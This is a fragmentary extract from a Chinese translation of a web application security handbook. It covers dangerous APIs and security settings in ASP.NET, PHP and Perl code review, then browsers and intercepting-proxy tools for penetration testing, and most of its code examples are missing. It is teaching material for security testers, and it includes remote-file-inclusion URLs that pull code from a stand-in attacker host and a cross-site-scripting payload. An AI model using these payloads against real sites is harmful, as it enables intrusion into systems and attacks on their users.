    {"text": "除web.xml文件外，不同应用程序服务器还可能使用包含其他安全相关设置的次要部署文件（如weblogic.xml文件），当分析环境配置时，应检查这些设置。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 19.4 ASP.NET 本节主要介绍在ASP.NET平台上获取用户提交的输入的方法、与用户会话交互的方式、其中存在的潜在危险的API以及与平台安全相关的配置选项。 19.4.1 确定用户提交的数据 ASP.NET 应用程序通过System.Web.HttpRequest类获取用户提交的输入。"},
    {"text": "表19-4 ASP.NET平台中用于获取用户提交的数据的API API 描 述 Params 以String名称与String值的形式保存URL查询字符串、POST请求主体、HTTP cookie以及其他服务器变量中的参数。"},
    {"text": "这个属性返回这些参数类型的集合 Item 返回Param集合中的命名项 Form 返回用户提交的表单变量名称与变量值集合 QueryString 返回请求查询字符串中变量名称与变量值的集合 ServerVariables 返回大量ASP服务器变量（类似于CGI变量）名称与变量值的集合，包括请求原始 数据、查询字符串、请求方法、HTTP Host消息头等 Headers 以String名称与String值之间的映射的形式保存请求中的HTTP消息头，使用这 个属性可以访问该映射 Url RawUrl 这些属性返回请求中的URL信息，包括查询字符串 UrlReferer 返回与在请求的HTTP Referer消息头中指定的URL有关的信息 Cookies 返回Cookie对象的集合，其中包含请求所收到的cookie的信息，包括它们的名称 与值 Files 返回用户上传的文件集合 InputStream BinaryRead 这些API返回客户端送出的原始请求的不同表示形式，因此可用于访问其他所有API 获得的任何信息 HttpMethod 返回HTTP请求所使用的方法 Browser UserAgent 返回用户浏览器的信息，与在HTTP User-Agent消息头中提交的信息类似 AcceptTypes 返回客户端支持的MIME类型的字符串数组，与在HTTP Accept消息头中提交的信 息类似 UserLanguages 返回包含客户端所接受的语言的字符串数组，与在HTTP Accept-Language消息 头中提交的信息类似 19.4.2 会话交互 ASP.NET应用程序以各种方式与用户会话进行交互，以保存和检索信息。"},
    {"text": "这个属性的访问方式与任何其他索引集合类似： ASP.NET个性化配置与Session属性的用法非常相似，其唯一不同之处在于，前者相对于一个特定的用户，因此在相同用户的不同会话中持续保存不变。"},
    {"text": "表19-5 ASP.NET平台中用于与用户会话交互的API API 描 述 Add 在会话集合中增加一个数据项 Item 获取或设定集合中命名数据项的值 Keys GetEnumerator 返回集合中所有数据项的名称 CopyTo 将值组成的集合复制到数组中 19.4.3 潜在危险的API 这一节介绍一些常见的ASP.NET API。"},
    {"text": "例如，下面的代码将打开Windows C:\\ 驱动器根目录下的一个文件： 下面的类常用于读取与写入文件内容： System.IO.FileStream System.IO.StreamReader System.IO.StreamWriter 它们的各种构造函数接受一个文件路径作为参数。"},
    {"text": "例如： 2．数据库访问 ASP.NET有许多用于访问数据库的API，下面的类主要用于建立并执行SQL语句： System.Data.SqlClient.SqlCommand System.Data.SqlClient.SqlDataAdapter System.Data.Oledb.OleDbCommand System.Data.Odbc.OdbcCommand System.Data.SqlServerCe.SqlCeCommand 其中每个类都有一个构造函数，它接受一个包含SQL语句的字符串；"},
    {"text": "例如： 它会执行不良查询： 上面列出的每一个类通过它们的Parameters属性支持预处理语句，允许应用程序创建一个包含参数占位符的SQL语句，并以可靠且类型安全的方式设定这些占位符的值。"},
    {"text": "4．OS命令执行 下面的API可以各种方式在ASP.NET应用程序中运行外部进程： System.Diagnostics.Start.Process System.Diagnostics.Start.ProcessStartInfo 在对对象调用Start之前，可以向静态Process.Start方法提交一个文件名字符串，或者用一个文件名配置Process对象的StartInfo属性。"},
    {"text": "例如： API并不解释& 与 | 等 shell元字符，也不接受文件名参数中的命令行参数，因此，如果用户仅控制文件名参数的一部分，这种攻击是唯一能够成功的攻击。"},
    {"text": "例如，如果应用程序以用户可控制的参数作为目标URL执行wget程序，那么攻击者就可以向wget进程提交危险的命令行参数，例如，致使它下载一个文档，并将该文档保存在文件系统中的任何位置。"},
    {"text": "5．URL重定向 下面的API用于在ASP.NET中发布一个HTTP重定向： System.Web.HttpResponse.Redirect System.Web.HttpResponse.Status System.Web.HttpResponse.StatusCode System.Web.HttpResponse.AddHeader System.Web.HttpResponse.AppendHeader Server.Transfer 通常，使用HttpResponse.Redirect方法可以引起一个重定向响应，该方法接受一个包含相对或绝对URL的字符串。"},
    {"text": "如果用户能够以某种方式控制这些主机信息，攻击者就可以利用应用程序与任意主机建立网络连接，无论这些主机位于因特网上、私有DMZ中还是在应用程序上运行的内部网络内。"},
    {"text": "19.4.4 配置ASP.NET环境 Web根目录下的web.config XML文件包含ASP.NET环境的配置设置，它还控制着应用程序的 行为，如表19-6所示。 表19-6 ASP.NET环境中与安全有关的配置设置 设 置 描 述 httpCookies 这个元素决定与cookie有关的安全设置。"},
    {"text": "如果httpOnlyCookies属性为真，那么cookie将被 标记为HttpOnly，因而不能被客户端脚本直接访问。 如果requireSSL属性为真，cookie 将被标记为secure，因此只能由浏览器通过HTTPS请求传送 sessionState 这个元素决定会话的行为。"},
    {"text": "如果regenerateExpiredSessionId元素设为true（默认情况），那么在收到一个到期 会话ID后，将发布一个新的会话ID compilation 这个元素决定是否将调试符号编译到页面中，生成更详细的调试错误信息。"},
    {"text": "如果mode属 性为On或RemoteOnly，那么应用程序用户将收到被属性defaultRedirect确认的页面， 而不是系统生成的详细消息 httpRuntime 这个元素决定各种运行时设置。"},
    {"text": "如果enableHeaderChecking属性为true（默认情况）， ASP.NET将在请求消息头中检查潜在的注入攻击，包括跨站点脚本。 如果enable-VersionHeader 属性为true（默认情况），ASP.NET将输出一个详细的版本字符串，攻击 者可利用它在特定版本的平台中搜索漏洞 如果数据库连接字符串之类的敏感数据保存在配置文件中，应使用ASP.NET“受保护配置”特性加密这些数据。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 19.5 PHP 本节主要介绍在PHP平台上获取用户提交的输入的方法、与用户会话交互的方式、其中存在潜在危险的API以及与平台安全相关的配置选项。"},
    {"text": "19.5.1 确定用户提交的数据 PHP使用一系列数组变量保存用户提交的数据，如表19-7所示。 表19-7 PHP平台中用于获取用户提交的数据的变量 变 量 描 述 $_GET $HTTP_GET_VARS 这个数组包含在查询字符串中提交的参数。"},
    {"text": "例如，在下面的URL中： https://wahh-app.com/search.php?query=foo 查询参数的值使用以下代码访问： $_GET[‘query’] $_POST $HTTP_POST_VARS 这个数组包含在请求主体中提交的参数 $_COOKIE $HTTP_COOKIE_VARS 这个数组包含在请求主体中提交的cookie $_REQUEST 这个数组包含$_GET、$_POST与$_COOKIE数组中的所有数据 $_FILES $HTTP_POST_FILES 这个数组包含在请求中上传的文件 $_SERVER[‘REQUEST_METHOD’] 包含在HTTP请求中使用的方法 $_SERVER[‘QUERY_STRING’] 包含在请求中提交的完整查询字符串 $_SERVER[‘REQUEST_URI’] 包含在请求中提交的完整URL $_SERVER[‘HTTP_ACCEPT’] 包含HTTP Accept消息头的内容 $_SERVER[‘HTTP_ACCEPT_CHARSET’] 包含HTTP Accept-charset消息头的内容 $_SERVER[‘HTTP_ACCEPT_ENCODING’] 包含HTTP Accept-encoding消息头的内容 $_SERVER[‘HTTP_ACCEPT_LANGUAGE’] 包含HTTP Accept-language消息头的内容 $_SERVER[‘HTTP_CONNECTION’] 包含HTTP Connection消息头的内容 $_SERVER[‘HTTP_HOST’] 包含HTTP Host消息头的内容 $_SERVER[‘HTTP_REFERER’] 包含HTTP Referer消息头的内容 $_SERVER[‘HTTP_USER_AGENT’] 包含HTTP User-agent消息头的内容 $_SERVER[‘PHP_SELF’] 包含当前运行脚本的名称。"},
    {"text": "例如，如果一个脚本包含以下代码： <form action=“<?= $_SERVER[‘PHP_SELF’] ?>”> 那么攻击者就可以设计诸如下面的跨站点脚本攻击： /search.php/\"><script> 当尝试确定PHP应用程序如何访问用户提交的输入时，应该记住以下反常情况。"},
    {"text": "如果register_globals被激活（见19.5.4节），那么全局变量将通过以下方式保存在当前会话中： 19.5.3 潜在危险的API 这一节介绍一些常见的PHP API。"},
    {"text": "fopen readfile file fpassthru gzopen gzfile gzpassthru readgzfile copy rename rmdir mkdir unlink file_get_contents file_put_contents parse_ini_file 下面的函数用于包含并执行一个指定的PHP脚本。"},
    {"text": "include include_once require require_once virtual 请注意，即使无法包含远程文件，但如果攻击者可向服务器上传任意文件，他仍然能够执行任意命令。"},
    {"text": "表19-8 可用于检索远程文件的网络协议 协 议 示 例 HTTP，HTTPS http://wahh-attacker.com/bad.php FTP ftp://user:password@wahh-attacker.com/bad.php SSH ssh2.shell://user:pass@wahh-attacker.com:22/xterm ssh2.exec://user:pass@wahh-attacker.com:22/cmd 即使allow_url_fopen设为0，攻击者仍然可以使用表19-9列出的方法访问远程文件（取决于所安装的扩展）。 表19-9 allow_url_fopen设为0时仍然可用于访问远程文件的方法 方 法 示 例 SMB \\\\wahh-attacker.com\\bad.php PHP输入/输出流 php://filter/resource=http://wahh-attacker.com/bad.php 压缩流 compress.zlib://http://wahh-attacker.com/bad.php 音频流 ogg://http://wahh-attacker.com/bad.php 注解 PHP5.2以后的版本引入了一个新的选项allow_url_include，默认情况下，该选项被禁用。"},
    {"text": "2．数据库访问 下面的函数用于向数据库发送一个查询并检查查询结果： mysql_query mssql_query pg_query SQL语句以一个简单的字符串提交。"},
    {"text": "例如： 它会执行不良查询： 下面的函数可用于创建预处理语句，允许应用程序建立一个包含参数占位符的SQL查询，并以可靠而且类型安全的方式设定这些占位符的值： mysqli->prepare stmt->prepare stmt->bind_param stmt->execute odbc_prepare 如果按照正常的方式使用，这种机制就不易受到SQL注入攻击。"},
    {"text": "例如： 它生成的查询等同于： 3．动态代码执行 下面的函数可用于动态执行PHP代码： eval call_user_func call_user_func_array call_user_method call_user_method_array create_function 分号分隔符用于将几个语句连接在一起。"},
    {"text": "例如，下面的代码将调用在查询字符串func参数中指定的函数： 这时，用户可以通过修改func参数的值，使应用程序调用任意一个函数（没有参数）。"},
    {"text": "4．OS命令执行 下面这些函数可用于执行操作系统命令： exec passthru popen proc_open shell_exec system 反单引号（`） 所有这些命令都可以使用 | 字符链接在一起。"},
    {"text": "5．URL重定向 下面的API用于在PHP中发布一个HTTP重定向： http_redirect header HttpMessage::setResponseCode HttpMessage::setHeaders 通常，使用http_redirect函数可以实现一个重定向，该函数接受一个包含相对或绝对URL的字符串。"},
    {"text": "6．套接字 下面的API用于在PHP中建立和使用网络套接字： socket_create socket_connect socket_write socket_send socket_recv fsockopen pfsockopen 使用socket_create创建一个套接字后，再通过调用socket_connect与远程主机建立连接；"},
    {"text": "如果用户能够以某种方式控制这些主机信息，攻击者就可以利用应用程序与任意主机建立网络连接，无论这些主机位于公共因特网上、私有DMZ中还是应用程序运行的内部网络。"},
    {"text": "如果PHP不要求变量在使用前被初始化，这个选项就会导致安全漏洞，使攻击者能够将一个变量初始化为任意一个值。 例如，下面的代码检查一名用户的证书，如果证书有效，就将$authenticated变量值设为1： 因为最初PHP没有将$authenticated变量明确地初始化为0，攻击者就可以通过提交请求参数authenticated=1避开登录。 这使PHP在进行证书检查之前就将全局变量$authenticated设为1。"},
    {"text": "注解 从PHP 4.2.0开始，register_globals指令默认被禁用。 然而，由于许多老式应用程序依赖于register_globals执行的正常操作，因此，通常php.ini会明确激活该指令。"},
    {"text": "注解 并非所有的危险函数都受到安全模式的限制，一些限制受到其他配置选项的影响。 而且，有各种方法可以避开一些安全模式限制。 安全模式并不能完全解决PHP应用程序中的安全问题。"},
    {"text": "在不需要任何转义的情况下处理数据时，激活magic quotes选项可能会使PHP对用户输入进行不必要的修改，导致代码中多出斜线，还要使用stripslashes函数删除。"},
    {"text": "表19-10 其他PHP配置选项 选 项 描 述 allow_url_fopen 如果禁用，该指令阻止一些文件函数访问远程文件（如前文所述） allow_url_include 如果禁用，该指令阻止PHP文件包含函数用于包含一个远程文件 display_errors 如果禁用，该指令阻止PHP向用户浏览器发送错误消息。"},
    {"text": "log_errors与error_log选项 可在服务器上记录错误消息，以方便诊断错误 file_uploads 如果激活，该指令将导致PHP允许通过HTTP上传文件 upload_tmp_dir 这个指令可用于指定保存上传的文件的临时目录。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 19.6 Perl 本节主要介绍在Perl平台上获取用户提交的输入的方法、与用户会话交互的方式、存在的潜在危险的API以及与平台安全相关的配置选项。 众所周知，Perl语言允许开发者以各种方式执行相同的任务。而且，有大量Perl模块可满足不同的需求。如果Perl使用任何不常见的或所有权模块，应对这些模块进行仔细审查，确定它们是否使用了任何强大的或危险的函数，从而引入应用程序直接使用这些函数时引入的相同漏洞。 CGI.pm是最常用于创建Web应用程序的Perl模块，当对用Perl编写的Web应用程序进行代码审查时，很可能遇到这个模块所使用的API。 19.6.1 确定用户提交的数据 表19-11列出了CGI查询对象的全部成员。 表19-11 用于获取用户提交的数据的CGI查询成员 选 项 描 述 param param_fetch 如果调用时不使用参数，param返回请求中所有参数名称的列表 如果调用时使用参数名称，param返回该请求参数的值 param_fetch方法返回一个命名参数数组 Vars 它返回参数名称与值之间的散列映射 cookie raw_cookie 使用cookie函数可设定和检索一个命名cookie的值 raw_cookie函数返回HTTP Cookie消息头的全部内容，但不进行任何解析 self_url url 这些函数返回当前URL，前者包含所有查询字符串 query_string 这个函数返回当前请求的查询字符串 referer 这个函数返回HTTP Referer消息头的值 request_method 这个函数返回请求中使用的HTTP方法 user_agent 这个函数返回HTTP User_agent消息头的值 http https 这些函数返回当前请求中的所有HTTP环境变量列表 ReadParse 这个函数返回一个名为%in的数组，其中包含所有请求参数的名称与值 19.6.2 会话交互 Perl模块CGISession.pm对模块CGI.pm进行扩展，为会话追踪与数据存储提供支持。例如： 19.6.3 潜在危险的API 这一节介绍一些常见的Perl API。以危险的方式使用这些API可能会造成安全漏洞。 1．文件访问 Perl使用下面的API访问文件： open sysopen open函数用于读取或写入指定文件的内容。如果以文件名参数提交用户可控制的数据，攻击者就可以访问服务器文件系统上的任意文件。 另外，如果文件名参数的开头或结尾为管道符（|），那么这个参数的内容被提交给一个shell命令。如果攻击者能够注入包含管道符或分号之类的shell元字符的数据，那么他们就可以执行任意命令。例如，在下面的代码中，攻击者可以注入$useraddr参数，以执行系统命令： 2．数据库访问 selectall_arrayref函数用于向数据库发送一个查询，并以一系列数组的形式检索查询结果。do函数用于执行一个查询，并返回受影响的行的数量。在这两个函数中，SQL语句以一个简单的字符串提交。 如果用户可控制的数据属于字符串参数的一部分，那么应用程序就可能容易受到SQL注入攻击。例如： 它会执行不良查询： prepare与execute函数可用于创建预处理语句，允许应用程序建立一个包含参数占位符的SQL查询，并以可靠而且类型安全的方式设定这些占位符的值。如果按正常的方式使用，这种机制就不易受到SQL注入攻击。例如： 它生成的查询等同于： 3．动态代码执行 eval可用于动态执行包含Perl代码的字符串。分号分隔符用于将几个语句连接在一起。如果向这个函数提交用户可控制的数据，那么应用程序可能易于受到脚本注入攻击。 4．OS命令执行 下面这些函数可用于执行操作系统命令： system exec qx 反单引号（`） 所有这些命令都可以使用 | 字符链接在一起。如果未经过滤就向这些函数提交用户可控制的数据，攻击者就可以在应用程序中执行任意命令。 5．URL重定向 CGI查询对象成员之一的redirect函数接受一个包含相对或绝对URL的字符串；用户被重定向到该URL。如果这个字符串的值由用户控制，那么应用程序可能易于受到钓鱼攻击。 6．套接字 使用socket创建一个套接字后，再通过调用connect在它与远程主机之间建立连接，connect函数接受由目标主机的IP与端口信息组成的sockaddr_in结构。如果用户能够以某种方式控制这些主机信息，攻击者就可以利用应用程序与任意主机建立网络连接，无论这些主机位于因特网上、私有DMZ中还是在应用程序上运行的内部网络内。 19.6.4 配置Perl环境 Perl提供一个污染模式，防止用户提交的输入被传送给潜在危险的函数。通过以下方式向Perl解释器提交-T标记，可在污染模式下执行Perl程序。 当某个程序在污染模式下运行时，解释器会追踪该程序以外提交的每一个输入，并把它当做被污染的输入处理。如果另一个变量根据一个受污染的数据分配它的值，那么Perl也认为它受到污染。例如： 不能将污染的变量提交给一系列功能强大的命令，包括eval、system、exec与open。要在敏感操作中使用污染的数据，就必须执行一项模式匹配操作并提取匹配的子字符串，“清洁”这些数据。例如： 虽然污染模式机制旨在防止许多类型的漏洞，但只有当开发者使用适当的正则表达式从被污染的输入中提取“清洁”的数据时它才会有效。如果一个表达式的范围过于宽泛，并提取了使用时可能引起问题的数据，那么污染模式提供的保护就会失效，应用程序仍然易于受到攻击。实际上，污染模式被当做一种提醒机制，它告诉程序员在危险操作中使用输入的数据前，必须对所有输入进行适当确认。它不能保证所实施的输入确认已经足够全面。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 19.7 JavaScript 由于客户端JavaScript不需要任何应用程序访问权限即可访问，因此，任何时候都可以执行以安全为中心的代码审查。这类审查的关键在于确定客户端组件中的所有漏洞，如基于DOM的XSS，它们使用户易于受到攻击（请参阅第12章了解相关内容）。审查JavaScript的另一个原因是，这样做有助于了解客户端实施了哪些输入确认，以及动态生成的用户界面的结构。 当审查JavaScript代码时，必须确保检查.js文件和在HTML内容中嵌入的脚本。 需要重点审查的是那些读取基于DOM的数据以及写入或以其他方式修改当前文档的API，如表19-12所示。 表19-12 读取基于DOM数据的JavaScript API API 描 述 document.location document.URL document.URLUnencoded document.referer window.location 这些API可用于访问通过专门设计的URL控制的DOM数据，因而攻击者 可向它们提交专门设计的数据，攻击其他应用程序用户 document.write() document.writeln() document.body.innerHtml eval() window.execScript() window.setInterval() window.setTimeout() 这些API可用于更新文档的内容并动态执行JavaScript代码。如果向这些 API提交攻击者可控制的数据，他就可以在受害者的浏览器中执行任意 JavaScript代码 黑客攻防技术宝典：Web实战篇（第2版） 19.8 数据库代码组件 如今，Web应用程序已不仅仅使用数据库实现数据存储。今天的数据库包含丰富的编程接口，可在数据库层执行大量的业务逻辑。开发者频繁使用数据库代码组件（如存储过程、触发器和用户定义的函数）完成各种关键任务。因此，当审查一个Web应用程序的源代码时，必须将数据库中执行的所有逻辑包括在审查范围之内。 数据库代码组件中的编程错误可能会导致本章描述的各种安全漏洞。但现实操作中应当留意两种主要的漏洞。首先，数据库组件自身可能包含SQL注入漏洞；其次，用户输入可能会以危险的方式提交给潜在危险的函数。 19.8.1 SQL注入 第9章介绍了如何使用预处理语句代替动态SQL语句，以防止SQL注入攻击。然而，即使在整个Web应用程序代码中正确使用预处理语句，如果数据库代码组件以危险的方式使用用户提交的输入构造查询，SQL注入漏洞也依然存在。 下面以一个@name参数易于受到SQL注入的存储过程为例： 即使应用程序将用户提交的name值安全传送给存储过程，该过程本身也会直接把这个值连接到一个动态查询中，因此它易于受到攻击。 不同的数据库平台使用不同的方法动态执行包含SQL语句的字符串，如下所示。 MS-SQL：EXEC Oracle：EXECUTE IMMEDIATE Sybase：EXEC DB2：EXEC SQL 应对出现在数据库代码组件中的这些表达式进行仔细审查。如果将用户提交的输入用于构建SQL字符串，应用程序可能易于受到SQL注入攻击。 注解 在Oracle中，存储过程默认在定义者权限而非调用者权限下运行（与UNIX中的SUID程序相同）。因此，如果应用程序使用一个低权限账户访问数据库，并且使用DBA账户建立存储过程，那么攻击者就可以利用某个过程中存在的SQL注入漏洞提升自己的权限，并执行任意数据库查询。 19.8.2 调用危险的函数 存储过程之类的定制代码组件常用于执行不常见的或功能强大的操作。如果以不安全的方式向一个潜在危险的函数传送用户提交的数据，那么根据该函数的功能，这样做可能会导致各种类型的漏洞。例如，下面的存储过程的@loadfile与@loaddir参数就易于受到命令注入攻击。 如果以不安全的方式调用，下面的函数可能造成危险。 MS-SQL与Sybase中功能强大的存储过程，使用它们可执行命令或访问注册表等。 用于访问文件系统的函数。 连接到数据库以外的库的用户定义的函数。 可访问网络的函数；例如，通过MS-SQL中的OpenRowSet或Oracle中的数据库链接。 黑客攻防技术宝典：Web实战篇（第2版） 19.9 代码浏览工具 到目前为止，我们描述的代码审查方法大多要求阅读源代码，并从中搜索表示获取用户输入及使用潜在危险的API的模式。因此，为进行有效的代码审查，最好使用一款智能工具浏览代码；也就是说，该工具能够理解各种语言使用的代码结构，提供与特定API和表达式有关的上下文信息，并能够方便地进行导航。 在许多语言中，可以使用某种开发工作室，如Visual Studio、NetBeans或Eclipse。还有各种一般性的代码浏览工具，它们支持各种语言，并且可进行优化，以方便阅读代码。Source Insight是我们首选的工具，如图19-1所示。它支持源代码树浏览，拥有强大的搜索功能，使用一个预览框显示与任何选中的表达式有关的上下文信息，并且能够在代码之间快速导航。 图19-1 使用SourceInsight搜索和浏览某个Web应用程序的源代码"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 19.10 小结 许多在测试Web应用程序方面拥有实际经验的人，对于审查一个应用程序的代码并直接从中发现漏洞，往往表现出不合常理的恐惧。对于那些没做过程序员的人而言，产生这种恐惧是可以理解的，但这种表现并没有合理的根据。任何熟悉计算机的人，只要花一点儿投资，就可以拥有足够的知识与信心，进行有效的代码审查。当审查一个应用程序的代码时，不一定要发现其中包含的“全部”漏洞，任何人在亲手进行测试时都不会设定这个不现实的目标。更合理的做法是，着手了解应用程序对用户提交的输入进行了哪些关键的处理，认清一些表示应用程序可能存在漏洞的签名。这样，代码审查才可以与大家更加熟悉的“黑盒”测试方法互为补充，提高“黑盒”测试的效率，并披露完全从外部访问应用程序时非常难以发现的漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 19.11 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）列出3种可在源代码中找到明确签名的常见漏洞。 （2）当审查PHP应用程序时，为什么有时很难确定用户输入的所有来源？ （3）以下两个执行SQL查询的方法都使用了用户提交的输入： 哪一个方法更加安全，为什么？ （4）在审查一个Java应用程序代码时，首先要检查HttpServletRequest.getParameter API的所有用法。下列代码引起了你的注意： 这段代码表示应用程序中可能存在什么漏洞？还需要进行哪些代码分析才能确定应用程序是否确实易于受到攻击？ （5）假设渗透测试员正在审查一个应用程序用于生成会话令牌的机制。相关代码如下： 应用程序生成的会话令牌是否可以预测？请解释理由。 黑客攻防技术宝典：Web实战篇（第2版） 第20章 Web应用程序黑客工具包 只 需要使用一个标准的Web浏览器即可实施一些针对Web应用程序的攻击；然而，绝大多数攻击要求使用其他一些工具。许多这样的工具需要与浏览器组合在一起使用，以扩展的形式修改浏览器自身的功能，或者作为外部工具与浏览器同时运行，并修改它与目标应用程序的交互。 黑客工具包中最重要的工具属于后者，它作为Web拦截代理服务器运行，允许查看并修改浏览器与目标应用程序之间传送的所有HTTP消息。近些年来，基本的拦截代理服务器已经发展成为功能强大的集成工具套件，拥有大量旨在帮助黑客攻击Web应用程序的功能。本章将介绍这类工具的作用原理，并说明如何充分利用它们的功能。 第二类主要的工具为Web应用程序扫描器。这种产品旨在将攻击Web应用程序过程中的许多任务自动化，涵盖初步解析一直到探查漏洞等过程。我们将分析Web应用程序扫描器的内在优缺点，并简要介绍这个领域内几款当前市场领先的产品。 最后，还有很多定制的小型工具都可在测试Web应用程序时执行特定的任务。虽然渗透测试员可能只是偶尔使用这些工具，但事实证明，在特殊情况下，它们极其有用。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 20.1 Web 浏览器 Web浏览器其实并不是一种攻击工具，而是访问Web应用程序的标准方法。然而，在攻击Web应用程序时，渗透测试员选择的Web浏览器会影响攻击效率。此外，还有各种针对不同类型浏览器的扩展可帮助渗透测试员实施攻击。本节将简要介绍3种流行的浏览器以及它们的一些扩展。 20.1.1 Internet Explorer Microsoft的Internet Explorer（IE）是当前应用最广泛的Web浏览器。据估计，现在依然如此，IE市场占有率大约为45%。几乎所有的Web应用程序都针对IE设计，并通过IE进行测试，这使得它成为攻击者的首选浏览器，因为大多数应用程序的内容与功能都能够在IE中正确显示和使用。而且，其他浏览器本身并不支持ActiveX控件；因此，如果一个应用程序使用这种控件，就必须使用IE来浏览它。使用IE的局限性在于，与使用其他浏览器不同，它必须在Microsoft Windows平台上运行。 由于IE被人们广泛使用，因此，当测试跨站点脚本与其他针对应用程序用户的攻击时，应该 始终确保攻击能够在这种浏览器上成功实施（请参阅第12章了解相关内容）。 注解 Internet Explorer 8引入了一个默认处于启用状态的反XSS筛选器。如第12章所述，此筛选器会尝试阻止大多数标准的XSS攻击，因此，在针对目标应用程序测试XSS入侵程序时，该筛选器可能会导致问题。通常，在测试过程中应禁用该XSS筛选器。在确认某个XSS漏洞后，最好是重新启用该筛选器，看是否可以利用发现的漏洞找到避开该筛选器的方法。 以下IE扩展有助于攻击Web应用程序。 HttpWatch可分析所有HTTP请求与响应，提供消息头、cookie、URL、请求参数、HTTP状态码与重定向等信息（如图20-1所示）。 图20-1 HttpWatch对Internet Explorer发布的HTTP请求进行分析 IEWatch的功能与HttpWatch类似，同时还可分析HTTP文档、图像、脚本等。 20.1.2 Firefox Firefox是当前第二大Web浏览器，据估计，市场占有率大约为35%。绝大多数Web应用程序可在Firefox上正常运行；但是，它本身并不支持ActiveX控件。 不同的浏览器在处理HTML方面存在许多细微的差异，特别是当HTML并不严格符合标准时。通常，如果一个应用程序针对跨站点脚本实施防御，这意味着针对它的攻击并不会对每种浏览器平台有效。Firefox的普及使得这种浏览器成为XSS攻击的主要目标；因此，如果在IE上实施XSS攻击遇到困难，应该尝试在Firefox上测试这些攻击。此外，之前，针对IE无效的许多攻击能够对Firefox实施，主要因为它的某些特有功能，参见第13章了解这方面的内容。 当攻击Web应用程序时，有大量Firefox浏览器扩展可供使用，如下所示。 Http Watch也适用于Firefox。 FoxyProxy能够灵活管理浏览器的代理设置，可实现迅速切换以及为不同的URL设置不同的代理等。 LiveHTTPHeaders可修改请求与响应，并重新发布个别请求。 使用PrefBar可启用或禁用cookie、快速进行访问控制检查、在不同代理服务器之间切换、清除缓存，以及打开浏览器的用户代理。 Wappalyzer可确定当前页面使用的各种技术，并在URL栏为发现的每一种技术显示一个图标。 Web Developer工具栏提供了大量有用功能。其中最重要的功能包括查看页面上的所有链接、更改HTML使表单字段可写、取消最大长度限制、显示隐藏表单字段，以及将请求方法由GET更改为POST。 20.1.3 Chrome 在浏览器领域，Chrome是一款相对较新的浏览器，但它迅速赢得用户的欢迎，并占领了约15%的市场。 攻击Web应用程序可能会用到各种Chrome浏览器扩展，如下所示。 XSS Rays，该扩展可用于测试XSS漏洞和DOM检测。 cookie编辑器，用于在浏览器中查看和编辑cookie。 Wappalyzer也可以用于Chrome。 Web Developer 工具栏也可以用于Chrome。 Chrome可能包含一些奇怪的功能，在构建针对XSS和其他漏洞的攻击时，这些功能可能会有用。由于Chrome是一款相对较新的浏览器，因此，在未来数年中，研究这些功能可能会取得一定的成果。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 20.2 集成测试套件 当攻击Web应用程序时，除基本的Web浏览器外，工具包中最有用的工具为拦截代理服务器。在Web应用程序发展的早期，拦截代理服务器是一种独立的工具，它提供最基本的功能，Achilles代理服务器是尤其受推崇的一种，它显示每一个请求与响应，以方便对其进行编辑。虽然这款工具极其简单，存在许多缺陷，而且使用起来也不方便，但经验丰富的攻击者仍然可以利用它攻破 许多Web应用程序。 近年来，这款简单的拦截代理服务器已经发展成为许多功能强大的工具套件，包含几种相互补充的工具，能够完成攻击Web应用程序过程中的常见任务。Web应用程序安全测试仪常用的测试套件如下所示： Burp Suite WebScarab Paros Zed Attack Proxy Andiparos Fiddler CAT Charles 这些工具包的功能各不相同，其中一些相对较新，并更具实验性。单纯就功能而言，Burp Suite是其中最为复杂全面的工具。当前，它是唯一包含以下几节介绍的所有功能的工具包。在某种程度上，选择使用哪些工具因个人喜好而异。我们建议没有任何喜好的测试员在现实应用中先选择几种套件，然后确定哪些工具最适合自己的需求。 本节介绍这些工具的工作原理，并说明在测试Web应用程序时充分利用这些工具的常用工作流程。 20.2.1 工作原理 上述每一种集成测试套件都由几种相互补充的工具组成，它们共享与目标应用程序有关的信息。通常，攻击者通过浏览器以正常方式攻击应用程序，这些工具监控生成的请求与响应，保存所有与目标应用程序有关的信息，并提供大量有用的功能。每一种套件由以下核心组件构成： 拦截代理服务器 Web应用程序爬虫 自定义Web应用程序漏洞测试器 漏洞扫描器 手动请求工具 分析会话cookie与其他令牌的工具 各种共享功能与实用工具 1．拦截代理服务器 拦截代理服务器是工具套件的核心，至今仍然是最基本的组件。要使用拦截代理服务器，必须配置浏览器，将它的代理服务器作为本地机器上的一个端口。同时配置代理工具监听这个端口，并接收由浏览器发布的所有请求。由于代理服务器能够访问浏览器与目标Web服务器之间的双向通信，因而它能够拦截它们之间传送的每一条消息，以方便用户审查和修改，并执行其他有用的 功能，如图20-2所示。 图20-2 使用拦截代理服务器动态处理HTTP请求 配置浏览器 浏览器的配置过程相当简单。首先，确定拦截代理服务器默认使用哪一个本地端口监听连接（通常为8080端口），然后在浏览器上执行以下步骤。 在Internet Explorer中，选择“工具”→“Internet选项”→“连接”→“局域网设置”。确保没有选中“自动检测设置”与“使用自动配置脚本”复选框。确保选中“为LAN使用代理服务器”复选框。在“地址”栏中输入127.0.0.1；在“端口”栏中输入代理服务器使用的端口。单击“高级”按钮，确保选中“对所有协议均使用相同的代理服务器”复选框。如果所攻击的主机名称与“对于以下列字符开头的地址不使用代理服务器”框中的任何一个表达式相匹配，删除这些表达式。在所有对话框上单击“确定”按钮，确认重新配置。 在Firefox中，选择“工具”→“选项”→“高级”，选择“网络”选项卡，单击“连接”栏的“设置”按钮，确保选中“手动配置代理”选项。在“代理”栏中输入127.0.0.1；在“端口”栏中输入代理服务器使用的端口。如果所攻击的主机名称与“不使用代理”框中的任何一个表达式相匹配，删除这些表达式。在所有对话框上单击“确定”按钮，确认重新配置。 Chrome使用其所在的操作系统附带的本地浏览器的代理设置。在Chrome中，可以通过选择“选项”→“高级选项”→“网络”→“更改代理设置”访问这些设置。"},
    {"text": "（2）对于应用程序使用的每个目标端口（通常为80和443端口），在回环接口的这些端口上配置一个Burp Suite监听器，并将该监听器设置为支持匿名代理。"},
